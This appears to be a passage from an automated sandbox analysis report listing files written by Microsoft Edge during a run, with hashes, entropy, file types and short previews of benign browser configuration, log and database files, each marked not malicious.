SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.647765064718782
Encrypted:	false
SSDEEP:	384:aj9P0oP/KbtfjlgQkQerGc7gam6IThj773pLLRKToaAu:adnP/ylge2pajF7NRKcC
MD5:	95E3DB17726EF29867B77AEC1E3A4CF9
SHA1:	9C443F1977D2A8E2712B2E54EC08290724B17998
SHA-256:	DF9A502211B87B3A07FB4A47CE44B449D7CA28DD1F79ADC993DEBABEEA5BBC31
SHA-512:	968A1E32269D2BC915B6D791999A56927F41B829D69441803B095E9293C7CF9DA2A802D60091A6BF78FF0C1FA85011814C89B8F3C6B973F4D2CEB5C89D21B568
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	409
Entropy (8bit):	5.237622002992284
Encrypted:	false
SSDEEP:	12:UBvVaYeb8rcHEZrELFUt8z8/+z95OaYeb8rcHEZrEZSJ:qVaYeb8nZrExg8ZOaYeb8nZrEZe
MD5:	CCB9AD144C79B2887AB37EC2181E4CC7
SHA1:	491D885EB7C509B10FE37F8E9DECD9CFD1A75265
SHA-256:	B10602F7E7D819272D994E9463B8393C818B33D934A013EF1FE4A4A915916847
SHA-512:	D9F0AE6361714DD352EAEEC199DC4542A222360D902E6821750B7FD0D05B927891B4A3995649EB81C44707478D3814578A5558BCB4917A89DE9C1FB497DB5B97
Malicious:	false
Preview:	2024/12/24-13:28:23.205 db8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/24-13:28:23.205 db8 Recovering log #3.2024/12/24-13:28:23.206 db8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	409
Entropy (8bit):	5.237622002992284
Encrypted:	false
SSDEEP:	12:UBvVaYeb8rcHEZrELFUt8z8/+z95OaYeb8rcHEZrEZSJ:qVaYeb8nZrExg8ZOaYeb8nZrEZe
MD5:	CCB9AD144C79B2887AB37EC2181E4CC7
SHA1:	491D885EB7C509B10FE37F8E9DECD9CFD1A75265
SHA-256:	B10602F7E7D819272D994E9463B8393C818B33D934A013EF1FE4A4A915916847
SHA-512:	D9F0AE6361714DD352EAEEC199DC4542A222360D902E6821750B7FD0D05B927891B4A3995649EB81C44707478D3814578A5558BCB4917A89DE9C1FB497DB5B97
Malicious:	false
Preview:	2024/12/24-13:28:23.205 db8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/24-13:28:23.205 db8 Recovering log #3.2024/12/24-13:28:23.206 db8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	5.608527730409058
Encrypted:	false
SSDEEP:	12:VTlW1QYMz7lsoP1dOn5pYRo3YInWY14YOzHb6q0OSLUYlMRE8+RqIeureF33Z+7N:VZWWla5XWrXZjWpV03y1x4fMyG
MD5:	F38BD0E5233BB38BE6E8B62CD9DCF201
SHA1:	4AEAA1250C693A282D8E30440C7DE4F92FD470A5
SHA-256:	CCB698A1E165AB007496933E083CAB35E8DD6D846BA74561437E3898158AEA6F
SHA-512:	668FCDE20365170DA9F9D4A20AA2B87DFCD06177CA4D89323AE105E842B415F9EF7DE6BE2A93632CD6946E9FA66945990C07F9DA14FC1E3BA4821A6B8C7C5618
Malicious:	false
Preview:	~.';.................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1735064914404.-_https://ntp.msn.com..LastVisuallyReadyMarker..1735064915300.._https://ntp.msn.com..MUID!.302665E99E416E3C182470B69FCB6F6B.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1735064914480,"schedule":[9,-1,-1,30,-1,-1,18],"scheduleFixed":[9,-1,-1,30,-1,-1,18],"simpleSchedule":[29,20,50,10,51,46,22]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1735064914359.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241220.456"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Tue Dec 24 2024 13:28:33 GMT-0500 (Eastern Standard

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.13922699530752
Encrypted:	false
SSDEEP:	6:NWR3q2PN723oH+Tcwt8a2jMGIFUt8EWJZmw+EW3kwON723oH+Tcwt8a2jMmLJ:0R3vVaYeb8EFUt8/J/+/35OaYeb8bJ
MD5:	4D9389D404C92BD198826D1AB206C9B5
SHA1:	D662F10CF5028559948DE9D82085AF07B99ADE48
SHA-256:	7FE6383274BB60FF4E09EA230B88A7873A7F7DDDA56893B234AD650960F07DDD
SHA-512:	D89963D26B04A8B8C757B1D889AFA2C9AE0723C6E4357AC91C028F3554A32C16D167FDCECD89F44A61FBC4D5C64BF550A4A1A77444704468E1B3BCA2E32D30A5
Malicious:	false
Preview:	2024/12/24-13:28:20.054 b90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/24-13:28:20.055 b90 Recovering log #3.2024/12/24-13:28:20.059 b90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.13922699530752
Encrypted:	false
SSDEEP:	6:NWR3q2PN723oH+Tcwt8a2jMGIFUt8EWJZmw+EW3kwON723oH+Tcwt8a2jMmLJ:0R3vVaYeb8EFUt8/J/+/35OaYeb8bJ
MD5:	4D9389D404C92BD198826D1AB206C9B5
SHA1:	D662F10CF5028559948DE9D82085AF07B99ADE48
SHA-256:	7FE6383274BB60FF4E09EA230B88A7873A7F7DDDA56893B234AD650960F07DDD
SHA-512:	D89963D26B04A8B8C757B1D889AFA2C9AE0723C6E4357AC91C028F3554A32C16D167FDCECD89F44A61FBC4D5C64BF550A4A1A77444704468E1B3BCA2E32D30A5
Malicious:	false
Preview:	2024/12/24-13:28:20.054 b90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/24-13:28:20.055 b90 Recovering log #3.2024/12/24-13:28:20.059 b90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\5b9c9fb1-f86f-4e8b-8b49-9d66230b53e6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\96125c22-6872-4a2d-bb3c-5df94f1c9506.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.785172024931222
Encrypted:	false
SSDEEP:	96:te+AuHFpoxLnqiAC4xnxhkHtSGvx0PXgathm8jLdo4XckO0L/ZJV8Y:tTlp414xxaHtdJ0PXgF8NFXcf0L/ZJVb
MD5:	78B71B37A8B7CEF55725B9B267B9E2F6
SHA1:	E1E16CFCEC530DEFA402B36DFED54979E39ECB5B
SHA-256:	842EAC6D68A227A95079D215C25823CE44354DFC929471AB586AD1377B7766B8
SHA-512:	AE745B953E25D7416356F8F8801285B7E3737147B34C5BA2E43DDB4BFC65DE147BABAF24D3393222C3ABD9873597F82F515161F5514C0834282D524A0A4C5322
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	modified
Size (bytes):	36864
Entropy (8bit):	1.3785207723930382
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB9W7:uIEumQv8m1ccnvS66YlGFh5lQpaw1a
MD5:	FFCA0889292D29C307F62364046E96EF
SHA1:	85BADAE632576AF1A593D53D9712BE4961144210
SHA-256:	E079B07304EC84FE832F68C2A2352B0126F1FB7165E5713CA7BB46058ED511B4
SHA-512:	4EA18AE4B76B6A509A52913CE92FE04E03046D01C66D30AEEBAB3821035D57A45CE89BA201A6DEACA8E051AB528C253DBC01FE50BFD8D017B0BC8C66C66ABC80
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF492a7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF4ae7c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a9752643-db47-4640-812a-d9f4102c161c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d7c13138-330d-45a7-ac5a-95d6e5442521.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f62391e9-87cf-4f46-98e3-6cdfa6fdd5c3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.7429706785845666
Encrypted:	false
SSDEEP:	12:TLSnAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3isPnSdvd0dn3ldjt9d6XF:TLSOUOq0afDdWec9sJQ3tOXI7J5fc
MD5:	E837EA6D04D8BF6E6EB3DE44A0D55B3B
SHA1:	4B9760FAE3A4790477529EA827DFBAF077B626A6
SHA-256:	9AA122EA750652A4771847ED1329C17F416979053EDA385A99EC10C90AE04EB5
SHA-512:	1BFDF7E6574A2DA534265F8B6D8641CBC5E841FF445825E7E1634B70D40EC2D62016CBD34A0C739CD2F630A6587EA01B28CA9DA9534C9AD81E9B32CC49019AA5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9756
Entropy (8bit):	5.108335505712741
Encrypted:	false
SSDEEP:	192:stXkdpTsvVaFvrE9kJcW8ObV+Fh/QAsU5PCYJ:stXQTsvVCD5bG1QKd
MD5:	7966B4938865BBADF89F5840E6D8A0A8
SHA1:	C4A33ADF1A37A56CA7ABC7FE93B9456F75FFBE61
SHA-256:	2B1263B97D8721D6CDD31345CC48C5B837DAFD5075555A3C876F9CF49662DFC5
SHA-512:	27F40F81F1755085720EFA1D8B6354AB89CC9CF844DF0CD44E4D5BCDA8887DD2F3F1D583ECB715D420336DF97F4145BB5A60A64107586F278E2D6D32EECF796D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379538500400205","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4e77e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9756
Entropy (8bit):	5.108335505712741
Encrypted:	false
SSDEEP:	192:stXkdpTsvVaFvrE9kJcW8ObV+Fh/QAsU5PCYJ:stXQTsvVCD5bG1QKd
MD5:	7966B4938865BBADF89F5840E6D8A0A8
SHA1:	C4A33ADF1A37A56CA7ABC7FE93B9456F75FFBE61
SHA-256:	2B1263B97D8721D6CDD31345CC48C5B837DAFD5075555A3C876F9CF49662DFC5
SHA-512:	27F40F81F1755085720EFA1D8B6354AB89CC9CF844DF0CD44E4D5BCDA8887DD2F3F1D583ECB715D420336DF97F4145BB5A60A64107586F278E2D6D32EECF796D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379538500400205","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.55847994360738
Encrypted:	false
SSDEEP:	768:YQzzCVWwL7pLGLht4W5wSgf4ql8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPsEIVq7pf:YQ2VDdcht4WaSgfzlu1jalbIa3t6R
MD5:	4A013F77E04FA27E6BD639C5A84DCA4E
SHA1:	EB6F940E41571A0B8A1884B1DC827FEDD830A807
SHA-256:	404623AA8E423F8042FA847E56264AE217BB7C7A4A5AD757799EE51809C2D19D
SHA-512:	76EE460D7AFE2B7917BCA66987300F487BCC620B348E1A88B3B22CE6FE3E93318C1843E30CFAE300E220DE236F720B3853C0168C9C6257ADCFF36D5AEC9D9DBD
Malicious:	false
